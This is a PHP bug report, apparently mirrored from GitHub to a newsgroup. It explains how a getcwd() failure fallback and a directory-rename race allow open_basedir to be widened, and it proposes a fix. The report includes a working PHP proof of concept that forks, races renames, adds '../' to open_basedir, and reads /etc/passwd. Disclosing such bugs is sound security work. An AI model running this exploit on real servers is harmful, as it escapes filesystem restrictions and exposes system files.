[php-src] Issue #21961: open_basedir bypass via getcwd() failure and race condition

[email protected] (iluuu1994)
Newsgroups php.bugs
Message-ID <[email protected]>
Issue: https://github.com/php/php-src/issues/21961
Author: iluuu1994

### Description

Originally reported by @mdsnins.

`ZEND_INI_MH(OnUpdateBaseDir)` allows narrowing of `open_basedir` at runtime, but not widening. It does so by expanding each path in the string passed to `ini_set('open_basedir', 'path1:path2)` and verifying it is a sub-path of one of the existing `open_basedir` paths.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L101

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L106

`expand_filepath()` resolves relative paths by fetching the cwd using `VCWD_GETCWD()` to resolve the relative path against (when `relative_to` is `NULL`, that is). `VCWD_GETCWD()` can fail and return `NULL` in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by `MAXPATHLEN` (`4096` on Linux).

When `VCWD_GETCWD()` returns `NULL`, `expand_filepath_with_mode()` has a fallback that tries to open the relative file using `VCWD_OPEN()`, and letting the OS resolve the path.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L809-L828

This is bad for two reasons:

- When this operation succeeds, `VCWD_GETCWD()` returns the _unresolved_ path.
- The true cwd is not necessary the same as `VCWD_GETCWD()`. `VCWD_GETCWD()` handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.

Now, these two separate checks allow `open_basedir` to be circumvented with a race-condition (which we don't consider a security issue due to `open_basedir` not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that `VCWD_GETCWD()` operation fails (by exceeding `MAXPATHLEN`), and renaming it back for `VCWD_OPEN()` to succeed. When adding `../` to the `open_basedir` paths, `expand_filepath()` will return the unchanged path `"../"`, which will also pass the `open_basedir` check if we're currently present in a sub-folder of one of the `open_basedir` paths.

```php
<?php

chdir("/tmp");
@mkdir("poc/");
chdir("poc/");

echo "original basedir: " . ini_get("open_basedir") . "\n\n";

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);

chdir($magic_depth);
$pid = pcntl_fork();

if ($pid == -1) die;
if ($pid == 0) {
    for ($i = 0; $i < 20; $i++) {
        $cur_basedir = ini_get("open_basedir");
        ini_set("open_basedir", $cur_basedir . ":../");
    }

    chdir("/tmp");
    chdir("../");

    $passwd = @file_get_contents("etc/passwd");
    if (!$passwd)
        die("failed\n");

    echo "content of /etc/passwd: \n";
    echo $passwd;
    echo "\n";
} else {
    chdir("/tmp"); //go back to original dir
    for ($i = 0; $i < 3000; $i++) {
        rename("poc", str_repeat("x", 250));
        rename(str_repeat("x", 250), "poc");
    }
}
```

The simplest solution is to just remove the fallback in `expand_filepath_with_mode()`, which is incorrect to begin with.

### PHP Version

```plain
-
```

### Operating System

_No response_
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.